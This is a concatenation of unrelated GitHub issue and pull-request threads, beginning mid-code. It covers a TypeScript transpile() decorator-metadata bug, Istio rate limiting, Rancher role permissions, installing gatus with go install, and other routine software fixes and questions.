      range: 200,
    },
    thirdWeapon: {
      model: "ak-47",
      range: 800,
    },
  },
};

const classedUser = plainToClass(User, plainUser);

console.log("classedUser is instance of User?", classedUser instanceof User);
console.log("classedUser.weapons is instance of Map?", classedUser.weapons instanceof Map);
console.log("classedUser.weapons is instance of Weapon?", classedUser.weapons instanceof Weapon);

Transpiler:
import * as tsc from 'typescript';
import * as fs from 'fs';
import * as path from 'path';

const content = fs.readFileSync(path.join(__dirname, '..', 'direct.ts'), 'utf8');
const config = tsc.readConfigFile(path.join(__dirname, '..', 'tsconfig.json'), file => {
  const read = tsc.sys.readFile(file);
  return read;
});

const transpiled = tsc.transpile(content, config.config.compilerOptions);
fs.writeFileSync(path.join(__dirname, 'transpiled.js'), transpiled, 'utf8');

Expected behavior:
Running code transpiled from CLI:
classedUser is instance of User? true
classedUser.weapons is instance of Map? true
classedUser.weapons is instance of Weapon? false

Running code transpiled using the typescript package:
classedUser is instance of User? true
classedUser.weapons is instance of Map? true
classedUser.weapons is instance of Weapon? false

User class generated by tsc:
var User = (function () {
    function User() {
    }
    __decorate([
        class_transformer_1.Type(function () { return Weapon; }),
        __metadata("design:type", Map) // NOTICE THE "MAP" HERE
    ], User.prototype, "weapons", void 0);
    return User;
}());

Actual behavior:
Running code transpiled from CLI:
classedUser is instance of User? true
classedUser.weapons is instance of Map? true
classedUser.weapons is instance of Weapon? false

Running code transpiled using the typescript package:
classedUser is instance of User? true
classedUser.weapons is instance of Map? false
classedUser.weapons is instance of Weapon? true

User class generated by calling transpile() form the API:
var User = (function () {
    function User() {
    }
    __decorate([
        class_transformer_1.Type(function () { return Weapon; }),
        __metadata("design:type", Object) // NOTICE THE "OBJECT" HERE
    ], User.prototype, "weapons", void 0);
    return User;
}());

The transpile (and transpileModule) functions unconditionally set isolatedModules, noLib, and noResolve to true. As a result, we cannot resolve Map to its constructor and instead return Object.

Thank you!
ts-jest is using transpileModule. So should I tell the author to avoid that?

@rbuckton is there another approach that would be more effective?

I'm discussing this with the team. There are some cases where we attempt to emit the type with fallback (something like __metadata("design:type", typeof Map === "function" ? Map : Object)) when isolatedModules is set. We need to investigate to determine if we are missing a case that should be triggering that here.

Just run into this issue. Workaround for now:
lib.ts:

const MyMap = Map;
const MyDate = Date;
export { MyMap as Map};
export { MyDate as Date};

consumer.ts:
import { Map, Date }  from "./lib";

export class Test {
  @SomeDecorator()
  public weapons: Map<string, string>;
}

Is there any progress on this? This is a blocker for anyone trying to use Jest's onlyChanged flag in a project that depends on decorator metadata.

We're working on this in #439 currently in ts-jest.

Fix should be in typescript@next today, and in<EMAIL_ADDRESS>next week.

Just confirmed the issue is resolved in typescript@next. I'll confirm with 2.9.1 when it is released.
Thanks!


Fixed NSObject valueForKey: pointer return values

Calling -[NSObject valueForKey:] with a key referencing a method returning a pointer was always returning NULL due to an incorrect pointer reference in tryGetAccessor().

This ought to be fixed as of afebcca

Confirmed.


publish for Scala 2.13.0-M5?

I was able to do ++2.13.0-M5! followed by utestJVM/test locally, so perhaps no code changes are needed and it's just a matter of pulling the release levers...?

utest v0.6.6 is out with support for 2.13.0-M5
+ coursier fetch com.lihaoyi:utest_2.13.0-M5:0.6.6 -r sonatype:releases
https://oss.sonatype.org/content/repositories/releases/com/lihaoyi/utest_2.13.0-M5/0.6.6/utest_2.13.0-M5-0.6.6.pom
  100.0% [##########] 2.3 KiB (3.8 KiB / s)

The utestJS release on Scala.js 1.0.0-M5 did not succeed on 2.13.0-M5 due to resolution errors
[error] sbt.librarymanagement.ResolveException: unresolved dependency: org.scala-js#scalajs-library_2.13.0-M5;1.0.0-M5: not found

scala/make-release-notes@2dbaaee7cdb9bc69da842cb5f224f79e92046dce


fix webdav upload 500 response by lowering the 100 (continue) wait timeout

The default timeout in apache HttpClient is 3s. Since the gooddata webdav never sends 100 (continue) response as specification suggests, it causes unfortunate 3s delay in each PUT on webdav. Additionaly it caused 500 when the PUT was unauthenticated. When this timeout is lowered (approx less than 2s) it can work smoothly. So this brings configurable waitForContinue timeout with default of 1s.
resolves #248

DO NOT MERGE, acceptance test is missing

As added test shows, this code won't help in case of unauthenticated PUT (auth done while PUTting) - when resending after auth done, the http entity is already closed (since it has been read during first unauthenticated PUT).
But still it lowers the current delay in authenticated webdav requests.

closing in favour of #269


fix: Rehaul Ping Identity SAML SSO

Checklist
I have:

[x] run the content through Grammarly
[x] linked to sample apps when relevant
[x] added the meta description for each page in the PR
[x] minimized the callouts and added only when necessary
[x] added the queryString parameter to the Tabs (if used)
[x] masked PII in images. For example, login credentials, account details, and more
[x] added images only when necessary
[x] deleted the images that are no longer used for the updated pages in the PR
[x] followed the image file naming convention while renaming or adding new images. (Use lowercase letters, dashes between words, and be as descriptive as possible)
[x] used the <figure/> tag instead of a markdown representation for images
[x] added the <figcaption/> tag to add a caption to the image
[x] added the alt attribute in the <img/> tag
[x] verified and updated the cross-references or created redirect rules for the changed or removed content
[x] reviewed and applied the style changes for UI formatting. For example, Bold the UI elements(Buttons on screen) used in the doc.

Removed images and videos.
Added an image to show SAML configuration screen in Appsmith
Updated the steps for creating an application in Ping ID


QTY doubled every time you deactivate/activate the programming board

QTY doubled every time you deactivate/activate the programming board

Ooh weird bug, will look into it.


TinyConstraints cannot run on simulator

I am unable to run my app in the simulator, even though it works fine for a device with ARM architecture.
Xcode gives this error for simulators:

Could not find module 'TinyConstraints' for architecture 'x86_64'; found: arm64, arm, armv7

Maybe trying cleaning and rebuilding?

See #101 / #102 for a solution.


Xcode 10.3 archive failed

Use the latest version of web3swift 2.2.1, stuck in web3swift when using Xcode 10.3 package archive, wait for a long time and did not pass the archive.

did you run
carthage build prior archive?

@supdapeng fixed in the latest commits, please check master branch! 👍


NODEJS Console (Typescript) project compile issues erroneous errors...

Given:
A NODEJS (Typescript) console application project (all Protractor test modules)...  If any of the "other modules= those not actively being edited" have an error, the error messages after the compile indicate the currently edited file has the errors.  Clicking on any of the errors takes you to illogical cursor locations in the opened file and the messages are completely erroneous.
Solution:
After fixing all errors in entire project, the false errors just magically go away.
Recreation:
Create a NODEJS Typescript console application project for Protractor. Protractor Requires  "NPM Protractor" ,  a config.ts and specs.ts file.
Config.ts file

Specs.ts file

Add Another TS file with an error
Now create a third file in TS like this: NOTICE in the prototype def there is a missing comma which makes this file invalid to TS and JS....

Compile the project..
and note the error messages, click on any one of them...

You are brought to the specs.ts page which does not have any errors...  Notice in the image above where the cursor is.. This was placed there by the editor after clicking on the first error for line 8.

Is this issue specific to NTVS projects, or does it also occur if you create another type of TS project?

I believe the answer is yes.  I only have this issue when using NODE and NTVS within Visual Studio, no other project type has this behavior.  Thanks.

I no longer reproduce this in Visual Studio 2017 with TypeScript 2.3


Block access to "More Resources > Rancher > Mgmt Clusters" Panel

I'm trying to create an ingress read only role but i'm stuck seeing this the panel :
More Resources > Rancher > Mgmt Clusters.
Is there any way,  Cluster or custom Role or resource able  to block access to this panel so an user with this custom role cant see it?
I've granted access to ingresses , projects and namespaces but I'm unable to find where to "block" this panel. User also has User-base global permissions only and obviously no built in permissions.

The user will have access to mgmt clusters if the user is a member of a cluster (which would be the case if they see a Clusters More Resources option). The list there should reflect the user's permissions, for instance create, edit, delete buttons would be disabled given their rights.


Backup and restore option for settings

You can implement a backup and restore option settings? It would be very useful. Thanks!
Requested via email by Andrea

I would also welcome this option. Would be easy to setup on a new device.


File "./tmdb", line 202, in main     for item in resultList['results']: KeyError: 'results'

Hey @PerlGeneva, you need to put a valid API key in config.ini file. I updated the script to show the correct error in the latest commit.


Investigate Hierarchical Layering

Consider a directory tree that looks like this:
home
├── main.just
└── projects
    ├── main.just
    ├── thing_one
    │   └── main.just
    └── thing_two
        └── main.just

Now suppose you have CD'ed into your thing_two project.  What you may have is an explicit inclusion of all of the upper-level main.just files so that at the lowest level all the defined recipes are available.  BUT if there was an implicit hierarchical layering in effect the upper level main.just files would be implicitly included.
However, sometimes implicit inclusion can lead to trouble.  So is it worth considering?
With implicit layering you have access to all recipes that have been defined in the directory path with their lower-level over-rides.
You have the ability to do the same thing currently with explicit inclusions.  A potential problem occurs when you move a directory from one path tree to another.  But because of the explicit nature of the inclusions, the justfiles generated will include recipes that may no longer be appropriate.

With v1.2.2 path globing capability you can get this kind of functionality.
For example is you have a project(s) root directory of /projects you can use
include /projects/**/*.just
To load in all of the just recipies starting at the projects root down to what ever level in which you are currently working.

implemented with v1.2.2


added l1 penlaty

I will update the document soon.

@lisitsyn
I will update this PR after https://github.com/shogun-toolbox/shogun/pull/2910 is merged

I close this PR.
Please see the new PR (https://github.com/shogun-toolbox/shogun/pull/2913)


Is it possiable to control source service or the destination service version in rate limit

I am using rate limit since istio 1.1, now seems the rate limit usage mode is completely changed. Just have a quick test about demo envoy filter configuration, https://istio.io/v1.9/docs/tasks/policy-enforcement/rate-limit/, it works good. Here is more detail scenario.  I have below configuration to control source(production service) to destination(details v1) worked before. But now by envoy filter, seems it not easy to control the source service or the destination service version? Thanks for your kindly help.
spec:
  quotas:
    - name: requestcount.quota.istio-system
      maxAmount: 5000
      validDuration: 1s
      overrides:
        - dimensions:
            destination: details
            destinationVersion: v1
            source: productpage
          maxAmount: 1
          validDuration: 1s

In istio 1.1, I can do rate limit simply, like above configuration. It will control the invoke from productpage service to details service v1 version,  1 time per second, if more than 1 invoke, it will return 429.   Now in istio 1.9, I cannot achieve such result by envoyfilter.Below configuration is just a control any invoke to "details" will be limited. I want to do more control, such as "source service" or "destination service version" like the result in isito 1.1
apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
 labels:
   app: ratelimit-demo
 name: filter-ratelimit-actions
spec:
 configPatches:
   - applyTo: VIRTUAL_HOST
     match:
       context: SIDECAR_INBOUND
       routeConfiguration:
         vhost:
           name: inbound|http|9080
     patch:
       operation: MERGE
       value:
         rate_limits:
           - actions:
               - header_value_match:
                   descriptor_value: path
                   headers:
                     - name: :path
                       prefix_match: /
  workloadSelector:
    labels:
      app: details

Definitely yes, rate limit policy can be applied on service level or on route level

@hzxuzhonghu  Could you show some examples here? Just found some from envoy http route components level..Thank you very much.

Seems destination label is not a issue, "workloadSelector" should fix this.
So there is only one issue here, is there a example about how to control source service.


Test prism data

https://www.dropbox.com/s/ez6xnv8dkhn0m3p/flat-00021.a.fits?dl=0
https://www.dropbox.com/s/b6l1x9ccbl4ljk1/spc-00011.a.fits?dl=0
They are a multi-extension FITS files so you want the first (zeroth) extension.

@aburgasser will work providing a test data set which includes typical scenarios and modes.

Added data for spex-prism (ca. 2003); has been pushed (49 files; note: did not require DFS)

awesome!  Consider adding a README.md in that directory with a brief explanation of what the files are.

TBD: rename "fileinfo.txt" with "README.md"

donesy done


How to install with go install

Describe the bug
Hello there! Thank you for this software.
We're not using containers so I've been trying to build this project from source. Normally I can run (for example) go install github.com/TwiN/gatus@latest, but when I try that with this project I get an error.

Thank you
Louis
What do you see?
This error:
go: github.com/TwiN/gatus@latest (in github.com/TwiN/gatus@v1.12.0):
        The go.mod file for the module providing named packages contains one or
        more replace directives. It must not contain directives that would cause
        it to be interpreted differently than if it were the main module.

What do you expect to see?
The project compiles.
List the steps that must be taken to reproduce this issue
Run go install github.com/TwiN/gatus@latest
Version
go version go1.21.3 linux/arm64
Additional information
No response

Hi @lpil
Your command is missing version suffix /v5, which means semantic import versioning. Try adding it to your command and you should be good.
go install github.com/TwiN/gatus/v5@latest

Wonderful, thank you. It would be fab if this was in the documentation for folks like me who would struggle otherwise!

@lpil if you'd like, you can create a PR that adds this information in a new section at the bottom of the README's FAQ section.
If you've asked yourself this question, odds are, there are other people with the same question :)

I'm sorry, I don't feel qualified writing documentation for this project.


fixed version detection after rollback

Thanks.  Good solution.  I had changed the sort key a long time ago because a forward migration of multiple updates would be randomly sorted and we’d conclude the wrong latest version.  But sorting on created and version solves that.


Adds a default field option for numbers.

I had to change the attribute for the HTML tag to defaultValue to prevent overwriting the value in the field.

👍
Thanks @amovitz!


docs: README File Test Update

Updating the README file with a change for testing the CLA Assistant.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Add language explaining printing the form

This stems from a Google doc discussion about the text on the first page (titled "Can you seal your Massachusetts juvenile records?").
Comment thread:

Do we bring back the part about printing? [The printing instructions in the intro page]
I think this might be important for prepping people's expectations about what they need to do.
I second mentioning printing. Maybe something like "You will need to print the finished form. Your local library may have a printer you can use for this."
I had a second list of steps below this line before and I can try to bring it back. We have to wait on printing instructions till we actually know what instructions we're going to give - libraries will have issues with privacy. It's a whole discussion. Would you be willing/able to add this as an issue to the repo?

This is what the text used to look like:
  Then you can get your form right away or let us help
  you fill in the other parts too - things like your name
  and social security number.
  Next, you'll need to:
  1. Print the form.
  1. Sign the form in two places.
  1. Mail the form to the Commissioner of Probation. We'll
  give you the address.

I think the first paragraph doesn't have to be the same if it doesn't need to be. The list is the important part.

It is more text, but it might be an important piece of information.

We need to have a discussion with a larger team of stakeholders before we can work on this. CfB leaders and CFJJ should be present. We should talk about how people without printers can print this out and the privacy implications of what happens if a public printer is used.